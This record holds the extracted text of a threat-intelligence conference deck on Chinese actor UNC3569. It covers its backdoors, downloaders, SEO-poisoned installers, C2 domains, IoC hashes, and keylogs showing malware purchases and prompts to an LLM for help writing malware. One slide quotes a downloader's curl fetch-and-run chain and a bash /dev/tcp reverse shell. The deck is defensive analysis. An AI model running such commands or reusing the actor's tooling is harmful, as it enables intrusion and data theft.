{
	"id": "2d410816-7465-4bc7-bede-f69085bfe285",
	"created_at": "2026-10-25T02:48:25.904971Z",
	"updated_at": "2026-11-22T02:26:23.550018Z",
	"deleted_at": null,
	"sha1_hash": "9c2e53675b467bc8d246e0cae0814ed38d0f554c",
	"title": "JSAC 2025 The Anatomy of China's Hacker Ecosystem",
	"llm_title": "JSAC 2025 The Anatomy of China's Hacker Ecosystem",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 4554260,
	"plain_text": "Proprietary \u0026 Confidential\nThe Anatomy of China's Hacker \nEcosystem: \nEspionage, Black\nMarkets, and Financially \nMotivated Attacks\n\n02\n\nGRAYRABBIT Campaign \u0026\n\nEvolution History\n\nIntroduce the Efficiency Driven Campaign and GRATRABBIT backdoor\n\n6\nGoogle Cloud Proprietary \u0026 Confidential\n\nGRAYRABBIT Backdoor - Supported Functions\n\nCMD String 1 CMD String 2 Command  Description\nCode\n\nmsg - core Used to run CoreClientInstall or \nCoreClientStart PE export functions.\n\nmsg - 0x1 Create CMD.exe console, if console \nexists, execute CMD command.\n\nmsg - 0x3 Execute code or function and write \nexecution results to the log file.\n\nmsg - 0x4 Terminate CMD.exe console.\n\nmsg - 0x5 Initialize and run modules from the \nC2 controller.\n\nmsg  - 0x6 Report Hostname, UserName, \nProcessID, and module filename to \nC2 server.\n\nData in format: \n[Hostname]+[Username]+[Module]\n\nmsg - 0x7 Terminate CMD.exe console and \nbackdoor process.\n\nfile 0x63 Copy file.\n\nfile 0x65 Execute file.\n\nfile 0x73 Search file.\n\nGoogle Cloud  x86 version\n\nCMD String 1 CMD String 2 Command Code Description\n\nmsg core Used to run CoreClientInstall or \nCoreClientStart PE export functions.\n\nmsg - 0x1 Create CMD.exe console, if console exists, \nexecute CMD command.\n\nmsg - 0x2 Terminate CMD.exe console.\n\nmsg - 0x3 Initialize and run modules from the C2 \ncontroller.\n\nmsg - 0x4 Report Hostname, UserName, ProcessID and \nmodule filename to C2 server.\n\nData in format: \n[Hostname]+[Username]+[Module \nFilename]:[ProcessID]|\n\nmsg - 0x5 Terminate CMD.exe console and backdoor \nprocess.\n\nmsg - 0x7 Execute module function.\n\nfile f_c  (0x665F6300) Copy file\n\nfile f_e  (0x665F6500) Execute file\n\nfile f_s  (0x665F7300) Search file\n\nProprietary \u0026 Confidential\n x64 version\n\nGRAYRABBIT Backdoor - Other details\n\nData Offset Size Received Content Description\n\nRecv_data [0] DWORD command String \"msg\" or \"file\" Specifies command string type as msg \nor file-related function.\n\nRecv_data [12] Command String \"core\" Specifies core command string used to \nrun export functions related to \nGRAYRABBIT payload.\n\nRecv_data [268] 1 Byte Command code for msg series 1-byte numeric code to designate \nspecific msg-related commands.\n\nRecv_data [276] 4 Bytes Command code for file series 4-bytes command to designate specific \nfile-related commands.\n\nTraffic Pattern\nVariant Launcher Features\n\nGRAYRABBIT (x86) N/A 1. Exports: CoreClientInstall, CoreClientStart, Start\n2. C2 domain in plaintext\n\nGRAYRABBIT (x64) RABBITCAVE, RABBITWING,  1. Two types of exports: \nRABBITFUR\n\nGRAYRABBIT (x64 with Alice pdb string) AtomLdr, \nRABBITMOUND\n\nVersions\nGoogle Cloud\n\n- CoreClientInstall, start, start\n- CoreClientInstall, CoreClientStart, start\n2. Three types of C2 domain format\n- Plaintext\n- Divided into a couple of Hexadecimal strings\n- Byte operation encoded\n\nAlice Variant\n1. Exports: CoreClientInstall, CoreClientStart, Start\n2. C2 domain in plaintext\n3. Unique PDB string = \"C:\\Users\\alice\\source\\sr\\corecpp_r\\x64\\Release\\corecpp.pdb\"\n\nProprietary \u0026 Confidential\n\nEfficiency First Modus Operandi\n\nGRAYRABBIT with fake \nGRAYRABBIT x86\nFBI domain\n\n2022 \nMay\n\n2021  2022\n\nNov Aug\n\nGRAYRABBIT x64 \nwith fake \nMicrosoft domain\n\nGoogle Cloud\n\n2022 \nDec\n\nGRAYRABBIT \nAlice Variant\n\nGRAYRABBIT with \nobfuscation\n\n2023 \nJan\n\nUNC3569 actors develop many disposable malware tools to deliver and make\n\nfoothold for their 2nd stage malware. GRAYRABBIT is one of a disposable backdoor\n\nwe frequently found on their C2 infrastructure.\n\n2023 \nJan\n\nGRAYRABBIT in \nRust-base shellcode \nrunner\n\nGRAYRABBIT on \nGithub\n\n2023 \nMar\n\n2023 \nJul\n\nGRAYRABBIT \non OneDrive\n\nRABBITFUR \nDownloader\n\n2024 \nFeb\n\n2023 \nAug\n\nMultiple domains \nabused in single \nGRAYRABBIT\n\n9\nProprietary \u0026 Confidential\n\nAbuse OneDrive\n\nGoogle Cloud\n\nActor\n\nuse\n\nDRAFTGRAPH\n\nConnect\n\nOneDrive\n\nContains\nContains\n\nGRAYRABBIT OXEEYE\n\nC2 Server\n\nPort:9999                  Port:443\n\nConnect\nConnect\n\nuse\n\nGRAYRABBIT CROSSWALK\n\nCROSSWALK\n\nProprietary \u0026 Confidential\n\nAbuse Github\n\nBEACON.Stager\n\nkkecho123\n\nGoogle Cloud\n\nActor\n\nuse\n\nDRAFTGRAPH\n\nConnect\n\nOneDrive\n\nContains\nContains\n\nGRAYRABBIT OXEEYE\n\nC2 Server\n\nPort:9999                  Port:443\n\nConnect\nConnect\n\nuse\n\nGRAYRABBIT CROSSWALK\n\nCROSSWALK\n\nProprietary \u0026 Confidential\n\n04\n\nOperation Triggered by Regional\n\nTension and Election\n\nAbuse WHITEDAISY Downloader and CROSSWALK Backdoor together\n\n18\nGoogle Cloud Proprietary \u0026 Confidential\n\nGoogle Cloud Proprietary \u0026 Confidential    21\n\nMalware Ecosystem of this Ongoing Campaign\n\nGoogle Cloud Proprietary \u0026 Confidential    22\n\nMalware Ecosystem of this Ongoing Campaign\n\nWHITEDAISY Shellcode Downloader\n\nXOR Key (CD8D3E9C9F) found in the operation in September\nWHITEFAISY is a \nsimple shellcode \nbased downloader.\n\nThe developer usually \nencoded it with a \nsimple XOR key and \nprefix a small \ndecryption shellcode \nbefore interlace \nWHITEDAISY to benign \nEXE files.\n\nGoogle Cloud\n\nNew Key found (50901517DF4860) in the operation in October\n\n23\nProprietary \u0026 Confidential\n\nWHITEDAISY Shellcode Downloader\n\nWHITEDAISY can be \nseparated into 2 main \nparts.\n\nThe 1st section use API \nURLDownloadToFileA to \nget lure document or \nscript file from server.\n\nThe 2nd section use API \nInternetReadFile to get \nthe 2nd stage payload on \nthe server file.\n\nGoogle Cloud    24\nProprietary \u0026 Confidential\n\nThe powershell installer create \nnew progress “explorer.exe” \nand inject the shellcode \npayload from the downloaded \nfile.\n\nThe downloaded file should be \npreserved in \n%ProgramData%\\win.ini.\n\nDownloaded 2nd stage is the \nCROSSWALK backdoor\n\nGoogle Cloud\n\nPowershell Installer \u0026 CROSSWALK Backdoor\n\n25\nProprietary \u0026 Confidential\n\nCN-Nexus Threat Actor UNC3569\n\nTo prevent detecting by the antivirus software, \nthe actor generated new sample with the \nmalicious shellcode in their operation.\n\nOn the open directory, the actor used to \ncreate a folder with date as the folder name. \nInspecting the existing folders, the actor is \nlikely had a long vacation around 10/1 ~ 10/7 \nand had access to the server at 10/2.\n\nThis period matches China’s golden week \nvacation.\n\nGoogle Cloud    26\nProprietary \u0026 Confidential\n\n05\n\nBLACKSTUDIO Espionage\n\nOperation in South East Asia\n\nSophisticated BLACKSTUDIO Backdoor used for high-value targets\n\n27\nGoogle Cloud Proprietary \u0026 Confidential\n\nGoogle Cloud Proprietary \u0026 Confidential    28\n\nMalware Ecosystem\n\nMalware Ecosystem\n\nGoogle Cloud\n\nFake Intel webpage was hosting on the C2 server\n\n29\nProprietary \u0026 Confidential\n\nLure Document\n\nGoogle Cloud\n\nTLP:RED\n\n31\nProprietary \u0026 Confidential\n\nLEATHERJACKET ELF Downloader\n\nLEATHERJACKET is an ELF \nLinux based downloader \nbased on system shell \ncommands.\n\nIt runs curl commands to \ndownload second stage \npayload and installs payloads \nto the directory \n/tmp/google_usb_ssh and \nruns a reverse shell over port \n443.\n\nIt also downloads a text file \ncontaining decoy and opens it \nby gEdit.\n\nGoogle Cloud\n\n- system(“whoami \u003e tmp/test”)\n\n- system(“curl -o /tmp/google_usb_ssh -s \u003cURL_aliyuncs_server\u003e \u0026\u0026 chmod 777 \n/tmp/google_usb_ssh \u0026\u0026 /tmp/google_usb_ssh\u0026\u0026 rm /tmp/google_usb_ssh”)\n\n- system(“Bash -i \u003e\u0026 /dev/tcp/\u003cIP_Address\u003e/\u003cPort\u003e 0\u003e\u00261”)\n\n- system(“wget https://\u003cFake_Chrome_Domain\u003e/error.logs \u0026\u0026 gedit error.logs”)\n\n32\nProprietary \u0026 Confidential\n\n.NET Downloader\n\nThis .NET downloader is \nobserved using to download \n2nd stage shellcode \n“payload.bin” and a decoy \ndocument “example.pdf” via \nWebClient object component.\n\nThe downloaded shellcode \npayload will be mapping into \nprocess memory to run.\n\nIn the end, the download decoy \nfile will be executed to display.\n\nGoogle Cloud    33\nProprietary \u0026 Confidential\n\nShellcode Launcher\n\nThe BLACKSTUDIO backdoor is \nexecuted by a shellcode launcher.\n\nSimilar launcher is observed also \nused to run Cobalt Strike BEACON.\n\nGoogle Cloud    34\nProprietary \u0026 Confidential\n\nBLACKSTUDIO Backdoor Traffic Pattern\n\nBLACKSTUDIO is a shellcode-based backdoor written in C/C++.\n\nThe backdoor communicates using HTTP and TCP and it has an unique user agent in its traffic pattern\n\nGET \n/en-us/features/integrationms-cab-compressed=gghjgbcleehfebgfgpgbebeodiefheeof\nefggogfekddhadafgfkedeogbehhhfidjgkdaeddhhkdceoelhddifedbgfglgnfiggdccpeoglfdd\nbedhiffhkfggfgnhfcpgmdaeodegceohbfchifffagcgiehgmgjehgnfjdhgnemhegfdhgogodjhig\nldcebeifihahggoclefgmhfeohkgigghchkfageggfidegjdggdghfkgecldaglechkclefeheoebh\nhgeekgegcejhddfgcffgignhfdagnegfefaeefkhjhjfgebgpdhdfhdfbdfgihfhkelffejgfdidn.\ncab\nHTTP/1.1\nAccept: */*\nUser-Agent: Mozilla/5.0 (Nintendo 3DS; U; ; en) Version/1.7412.EU\nHost: visualstudio-microsoft.com\nConnection: Keep-Alive\nCache-Control: no-cache\n\n35\nGoogle Cloud Proprietary \u0026 Confidential\n\nBLACKSTUDIO Backdoor\n\nThe sample contains code that accesses a \nlarge stack offset resulting in IDA Pro's \ndecompilation to fail.\n\nThis is only used in select functions. After \nNOPed out the respective stack variables, the \nmalicious functions can be decompiled.\n\nGoogle Cloud    36\nProprietary \u0026 Confidential\n\n● Shell\n○\nBLACKSTUDIO Support Functions\n○\n● Process Operation\nBLACKSTUDIO supported backdoor commands includes shell \n○\ncommand execution, file transfer, file execution, and loading of \n○\nadditional code. \n○\n● Communication\n○\n○\n● Data Collection\n○\n○\n○\n○\n● File Operation\n○\n○\n○\n○\n○\n○\n○\nGoogle Cloud\n\nCreate reverse shell\nRun arbitrary command/process\n\nTerminate processes\nModify process memory\nCreate process and inject code into it (various methods)\n\nListen on localhost for incoming connection\nInitiate new connection to a remote host\n\nRetrieve session and system info\nSend logical drives info\nCreate process list\nCreate directory list\n\nMove file\nCopy file\nWrite to pipe or file\nRead from pipe or file\nRetrieve file information\nDelete file or directory\nCreate directory\n   37\nProprietary \u0026 Confidential\n\nBLACKSTUDIO Backdoor\n\nBLACKSTUDIO backdoor has an hardcoded AES\n\nkey “LikeILoveYouLike” used to generate a\n\nrandom SHA256 hash string which will be\n\nreported back to its C2 server.\n\nGenerated a SHA256 hash string by using AES algorithm with key “LikeILoveYouLike”\n\nGoogle Cloud\n\nThe system information collected by BLACKSTUDIO\n\n38\nBLACKSTUDIO use APIs in wininet.dll to communicate with its C2 serverProprietary \u0026 Confidential\n\n06\n\nDistributing Backdoored Installers\n\nvia SEO Poisoning\n\nSEO Poisoning to Deliver Backdoored VPN \u0026 Chat Installers\n\n39\nGoogle Cloud Proprietary \u0026 Confidential\n\nDistributing Backdoored Installers via SEO Poisoning\n\n● Affected Product: Letstalk, MeeTalk, Cloudchat, PaoPao, FlyVPN, QuickQ, MosGram\n\n● Backdoor delivered: SOGU(PlugX), GH0ST, and TROCHILUS\n\n● Time Frame: March 2023 until now\n\n● Who Behind This: We found some overlaps with UNC3569\n\n● Victim:  Worldwide, including Education, Hospitality, Healthcare sectors\n\n40\nGoogle Cloud Proprietary \u0026 Confidential\n\nGoogle Cloud Proprietary \u0026 Confidential    41\n\nSEO Poisoning for Backdoored VPN \u0026 Chat Installer\n\nFake Page for Letstalk\n\nFake: https://letstaik.com/Letstalk.zip\n\nGoogle Cloud\n\nNormal: https://www.letstalk.net/downld\n\n42\nProprietary \u0026 Confidential\n\nInstaller Execution Flow\n\nFlyVPN.msi\nMD5: \nd1d5d0fdc1204e082386073ad0bc2650\n\n1. Sideload\n\nGoogle Cloud\n\nUnique function to collect Telegram data\n\n3. Install GH0ST\nC2: xkf5.xyz\n\n2. Launch\n\n4. Install SOGU(PlugX)\nC2: updatecdn.xyz\n\nInstall.hlp: Contains a copy of the clipboard contents\nCache.hlp: Contains keystrokes associated with any \nprocess running on the system\n\nPlugin: Disk, Netstat, Option, \nPortMap, Process, RegEdit, \nScreen, Service, Shell, KeyLog\n\n43\nProprietary \u0026 Confidential\n\nC2 Naming Conventions\n\n● C2 special naming convention, ex:\n\n○ slok1.xyz, slok3.xyz, slok5.xyz, slok8.xyz, slok10.xyz,slgq1.xyz, slgq2.xyz, slgq5.xyz  …….\n\n■ Registrant Organization: f029a6cac077c6a4\n\n○ uulai2.xyz, uulai5.xyz\n\n○ xkf1.xyz, xkf2.xyz, xkf3.xyz, xkf5.xyz\n\n○ updatecdn.xyz, tgsoft.shop\n\n44\nGoogle Cloud Proprietary \u0026 Confidential\n\n07\n\nKeylogs Exposing Underground\n\nMarket Interactions\n\nInteresting Keylogs found in UNC3569’s SOGU(PLUGX) sample\n\n48\nGoogle Cloud Proprietary \u0026 Confidential\n\nKeylog File Found In SOGU Sample\n\nDeploy\n\nActor\n\nGoogle Cloud\n\nC2: update.chatgpt-server.com\n\nKeylog: NvSmart.x64\n\nSOGU\n\nPDB: D:\\Fast需求\\无毛果\n\\v1.2\\Controller_20201205\\Shellcode-Enc\\dllmain\\R\nelease\\ATKEX.pdb\n\nHad been \nkeylogged\n\nUnknown actor who used \ncdn.anydeskdns.com as C2\n\n49\nProprietary \u0026 Confidential\n\nActor Bought REMCOS From Others\n\nGoogle Cloud\n\nTLP:RED\n\n51\nProprietary \u0026 Confidential\n\nActor Used Their Internal Tools to Develop Zxshell\n\nGoogle Cloud\n\nTLP:RED\n\n53\nProprietary \u0026 Confidential\n\nActor Compromised a Korean Gaming Company\n\nGoogle Cloud\n\nTLP:RED\n\n55\nProprietary \u0026 Confidential\n\n2023-11-24\n\nUpdated whois for \ncdn.anydeskdns.com\n\nGoogle Cloud\n\nZxshell and REMCOS Attack Campaign\n\nActor bought REMCOS \nfrom hacker forum\n\n2024-01-14\n\nFirst Zxshell used  cdn.anydeskdns.com as C2  \nhad been uploaded to VirusTotal, and Zxshell \nwas signed by a Hong Kong Gaming company\n\n2024-01-16 2024-05-09\n\n2024-04-04\n\nActor developed Zxshell \nwhich one of C2 is \ncdn.anydeskdns.com\n\nZxshell: ad547b566abbb3012f0f3cc21a8eaf68\nREMCOS: 7d8e54b3bac8a72eb6531131c2240281\nhttp://minecraft.cdn.fbi.to/launcher/cache/new/xs.bin\n\nREMCOS was hosted on an Online \nGaming download site, and the \nlauncher of  REMCOS was signed by a \nKorean Game Security company\n   56\n\n56\nProprietary \u0026 Confidential\n\nActor Used LLM to Help Them Find Phishing Website\n\nGoogle Cloud\n\nTLP:RED\n\n62\nProprietary \u0026 Confidential\n\nActor used Crypto Phishing Page\n\nto Deliver Rhadamanthys\n\nGoogle Cloud\n\nTLP:RED\n\n64\nProprietary \u0026 Confidential\n\nActor used DNS Fast-Fluxing for their C2 domain\n\n● DNS fast fluxing is a technique that involves associating multiple IP addresses with a single domain \nname and changing out these IP addresses rapidly.\n\nonlineofficeplug365.com officeword365online.com cryptoaihopper.org\n\n65\nGoogle Cloud Proprietary \u0026 Confidential\n\nTLP:RED\n\nActor Bought DNS Fast-Fluxing Service From Russian-Speaking\n\nHacker\n\n67\nGoogle Cloud Proprietary \u0026 Confidential\n\nRhadamanthys Stealer\n\n● Rhadamanthys is a comprehensive information stealer capable of collecting system information, \ncredentials, cryptocurrency wallets, browser passwords, cookies, and data from numerous other \napplications.\n\nGoogle Cloud Proprietary \u0026 Confidential\n\nVictims of Rhadamanthys are Worldwide\n\nPlease help me modify the following encryption algorithm to use \nAES. Please do not change the function names, etc. I want to be \nable to copy and paste this directly into my program. Note that my \nalgorithm does not require me to specify a key\n\n69\nGoogle Cloud Proprietary \u0026 Confidential\n\nTLP:RED\n\nActor Also Used LLM to Help Them Develop Malware\n\nRole setting: You are now a programming master, proficient in various encryption algorithms, including AES, \nRC4, XOR, and other complex algorithms. You can skillfully apply these to programming.\n\n71\nGoogle Cloud Proprietary \u0026 Confidential\n\nActor Tried to Bought AV/EDR Killer for $5K\n\nGoogle Cloud\n\nTLP:RED\n\n73\nProprietary \u0026 Confidential\n\nKey Findings from Keylogs\n\n● The actor distributed REMCOS and Zxshell via an online game download site, using stolen \ncertificates from the Korean and Hong kong gaming companies.\n\n● Actor bought DNS fast flux services from Russian hacker and also used it for their C2.\n\n● Actor deployed Rhadamanthys via phishing crypto trading website.\n\n● Actor likes to bought malware(ex: REMCOS, Rhadamanthys), hack tools, vulnerabilities, \nleaked credentials from hacker forums like XSS, Exploit.in and BreachForums.\n\n● Actor used LLM AI(ChatGPT) in their workflows\n\n● Actor likes to use proxy service, ex: IPRoyal, LunaProxy\n\n77\nGoogle Cloud Proprietary \u0026 Confidential\n\n08\n\nGoogle Cloud\n\nConclusion \u0026 Takeaway\n\n78\nProprietary \u0026 Confidential\n\nThe Anatomy of China's Hacker Ecosystem\n\n● Efficiency and Adaptability: The actor emphasis on operational efficiency allows it to conduct diverse \noperations and quickly adapt using new capabilities.\n\n● Interested in the Regional Political Tensions: The actor’s activities and targeting clearly demonstrate \ntheir interest in regional tensions between the U.S., India, and other Southeast Asian countries.\n\n● Sophisticated in the Arsenal: Our findings demonstrates their ability to leverage a range of tools and \ntactics depending on the specific objectives.\n\n● Trojanized Legitimate Utilities: The actor carried out attacks by employing trojanized legitimate files \nand utilities, effectively concealing their activities and making attribution more difficult.\n\n● Underground Market: Informative log files also reflects current hacker’s ecosystem in China. The actors \nare adopting new techniques like DNS Fast-Fluxing Services and leveraging LLM models to enhance their \ninfrastructure and weapons. Furthermore, they also engaging with underground market providers from \nvarious countries, for services to bolster their operations.\n\n79\nGoogle Cloud Proprietary \u0026 Confidential\n\nIoC for Reference\n\nDRAFTGRAPH\n● 2377abd182e56db339e005c5cf9448c7\n\nAtomLdr\n● 0ee2e10defa1793be6546a2325b0507e\n\nGRAYRABBIT\n● 8def8c562e718d38291baae0dbeb683e\n● 6467ecbbb69aaab966f02ff27d359e42\n● C97fddb7a96f168b1eccaf4c95468dba\n● 6467ecbbb69aaab966f02ff27d359e42\n\nOXYEYE \n● e0ad2b99eafae8e237a27bff258e9b38\n\nCROSSWALK\n● 26a504b5d816ccda56b63800f04f8c93\n● 0887262f02f1daa1b37565cade4f6c72\n\nPowershell script\n● 224fcf460792c558ef67f73733863c40\n\nELECTRONAURA\n● d18c19b9407d2fc835f932c092ee595e\n\nGoogle Cloud\n\nWHITEDAISY RABBITWING\n● 987771b0d93e3efaf0ffb489308f3030 ● 1385825bd406746c40186dd482052602\n● 8fd4ba28ccbb3a4a064043ebd99794e7 ● e69640e53f601479375d85c3fdd42426\n● 36d36fe3d5ff42e8aa4af311aaf29f03\n● 5a6db4886362b5267166eeed4b46291c RABBITCAVE\n● ab73eba3dac79e0bd4c4f7c8ebcaec79 ● 23e5f3dc3c60a52e40690a226781f466\n\nLinux Downloader - LEATHERJACKET BEACON.Stager\n● c9403861bd0b87818768b62083319ccb ● 4a97cfabeda07881aef8f5f406100685\n\nANGRYREBEL.LINUX\nMalicious VPN installer\n● 1e966ab428cc3fe680099c6c9b5432c8\n● d1d5d0fdc1204e082386073ad0bc2650\n\n.NET Downloader\n● 82bf1351890dd6248b392d3cfed50405\n\n2nd stage shellcode\n● dd745fc56f98891f5fd7b5611bc9afab\n\nBLACKSTUDIO\n● B11788a98f54e26e716ca4cb00d56d18\n\nRABBITFUR\n● 1b6586b20a96c43753c301052d126264\n\nProprietary \u0026 Confidential    80\n\nThank you",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"pdf"
	],
	"references": [
		"https://jsac.jpcert.or.jp/archive/2025/pdf/JSAC2025_1_1_steve_aragon_chi-yu.pdf"
	],
	"report_names": [
		"JSAC2025_1_1_steve_aragon_chi-yu.pdf"
	],
	"threat_actors": [
		{
			"id": "d24c2548-d163-4a73-865f-0d4cb917fee7",
			"created_at": "2024-04-20T02:00:03.580316Z",
			"updated_at": "2026-11-22T02:00:26.27802Z",
			"deleted_at": null,
			"main_name": "UNC3569",
			"aliases": [],
			"source_name": "MISPGALAXY:UNC3569",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1792896505,
	"ts_updated_at": 1795314383,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/9c2e53675b467bc8d246e0cae0814ed38d0f554c.pdf",
		"text": "https://archive.orkl.eu/9c2e53675b467bc8d246e0cae0814ed38d0f554c.txt",
		"img": "https://archive.orkl.eu/9c2e53675b467bc8d246e0cae0814ed38d0f554c.jpg"
	},
	"iocs": [
		{
			"type": "domain",
			"value": "cdn.anydeskdns.com",
			"count": 4,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "domain",
			"value": "cryptoaihopper.org",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "domain",
			"value": "exploit.in",
			"count": 1,
			"flags": [
				"upper_case"
			],
			"some_flags": [
				"upper_case"
			]
		},
		{
			"type": "domain",
			"value": "letstaik.com",
			"count": 1,
			"flags": [
				"in_url_host"
			],
			"some_flags": [
				"in_url_host"
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